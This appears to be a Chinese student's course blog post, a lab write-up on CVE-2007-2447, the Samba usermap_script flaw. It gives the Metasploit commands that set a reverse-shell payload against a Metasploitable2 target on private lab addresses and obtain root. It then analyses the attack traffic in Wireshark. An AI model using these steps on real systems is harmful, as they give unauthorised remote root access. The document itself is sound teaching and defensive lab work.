20212912 2021-2022-2 《网络攻防实践》第7次作业

 

 

1.实践内容

1.1 SMB

1.2 Samba服务

1.3 139端口

1.4 Usermap_script漏洞

1.5 实验环境

2.实践过程

2.1使用Metasploit进行Linux远程渗透攻击

2.2攻防对抗实践

3.学习中遇到的问题及解决

4.学习感想和体会

 

 

1.实践内容

1.1 SMB

在NetBIOS出现之后,Microsoft就使用NetBIOS实现了一个网络文件/打印服务系统,这个系统基于NetBIOS设定了一套文件共享协议,Microsoft称之为SMB(Server Message Block)协议。这个协议被Microsoft用于它们Lan Manager和Windows NT服务器系统中,而Windows系统均包括这个协议的客户软件,因而这个协议在局域网系统中影响很大。随着Internet的流行,Microsoft希望将这个协议扩展到Internet上去,成为Internet上计算机之间相互共享数据的一种标准。因此它将原有的几乎没有多少技术文档的SMB协议进行整理,重新命名为 CIFS(Common Internet File System),并打算将它与NetBIOS相脱离,试图使它成为Internet上的一个标准协议。因此,为了让Windows和Unix计算机相集成,最好的办法即是在Unix中安装支持SMB/CIFS协议的软件,这样Windows客户就不需要更改设置,就能如同使用Windows NT服务器一样,使用Unix计算机上的资源了。与其他标准的TCP/IP协议不同,SMB协议是一种复杂的协议,因为随着Windows计算机的开发,越来越多的功能被加入到协议中去了,很难区分哪些概念和功能应该属于Windows操作系统本身,哪些概念应该属于SMB 协议。其他网络协议由于是先有协议,实现相关的软件,因此结构上就清晰简洁一些,而SMB协议一直是与Microsoft 的操作系统混在一起进行开发的,因此协议中就包含了大量的Windows系统中的概念。

1.2 Samba服务

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置"NetBIOS over TCP/IP"使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

Samba 服务器的安全级别有三个,分别是 user,server,domain

安全级别

作用

user

基于本地的验证

server

由另一台指定的服务器对用户身份进行认证

domain

由域控进行身份验证

1.3 139端口

139端口是一种TCP端口,该端口在你通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用。139端口一旦被Internet上的某个攻击者利用的话,就能成为一个危害极大的安全漏洞。因为黑客要是与目标主机的139端口建立连接的话,就很有可能浏览到指定网段内所有工作百站中的全部共享信息,甚至可以对目标主机中的共享文件夹进行各种编辑、删除操作,倘度若攻击者还知道目标主机的IP地址和登录帐号的话,还能轻而易举地查看到目标主机中的隐藏共享信息。

 

1.4 Usermap_script漏洞

Samba MS-RPC Shell命令注入漏洞

CNNVD编号:CNNVD-200705-286

危害等级: 中危

CVE编号: CVE-2007-2447

漏洞类型: 代码注入

发布时间: 2006-06-01

威胁类型: 远程

更新时间: 2007-07-30

厂商: samba

漏洞来源: Joshua J. Drake

Samba在处理用户数据时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。

Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

 

1.5 实验环境

机器名称

IP地址

kali

192.168.200.3

Metasploitable2

192.168.200.7

 

2.实践过程

2.1使用Metasploit进行Linux远程渗透攻击

 

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

 

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

 

在kali中输入msfconsole进入Metasploit

 

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

 

通过命令use exploit/multi/samba/usermap_script使用渗透攻击模块。

 

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

 

输入指令set PAYLOAD cmd/unix/reverse设置攻击的PAYLOAD为cmd/unix/reverse

 

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

 

输入指令set lhost 192.168.200.3设置攻击机地址,set rhost 192.168.200.7设置靶机地址

 

⑤执行渗透攻击;

 

通过run开始攻击

 

⑥查看是否正确得到远程Shell,并查看获得的权限。

 

使用指令whoami发现执行权限是root,使用指令ifconfig来查看靶机网络状态

 

2.2攻防对抗实践

 

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

 

在kali中输入msfconsole进入Metasploit

 

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

 

通过命令use exploit/multi/samba/usermap_script使用渗透攻击模块。

 

输入指令set PAYLOAD cmd/unix/reverse设置攻击的PAYLOAD为cmd/unix/reverse

 

输入指令set lhost 192.168.11.134设置攻击机地址,set rhost 192.168.11.135设置靶机地址

 

通过run开始攻击

 

 

使用指令whoami发现执行权限是root,使用指令ifconfig来查看靶机网络状态

 

 

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

 

 

可以看到首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报

 

服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报

 

 

 

然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据报,

 

靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接

 

查看攻击发起时间,时间是Apr 25, 2022 07:21:23

 

源地址:192.168.11.134

目的地址192.168.11.135

源端口:44437

目的端口:139

 

3.学习中遇到的问题及解决

kali拿不到IP地址,点击Disconnect也没有用

发现VMware网卡配置错误,重新配置后问题解决。

4.学习感想和体会

通过本次实验,我知道了如何使用Metasploit进行Linux远程渗透攻击,加深了我对SMB协议以及Samba服务的理解。此次实验使我充分认识到Linux主机上的Samba服务Usermap_script安全漏洞的危害性,通过利用Usermap_script漏洞,不仅能够获取目标Linux靶机的主机访问权限,还能获得root权限。

posted @ 2022-04-25 20:46  Sucarlet  阅读(43)  评论(0编辑  收藏  举报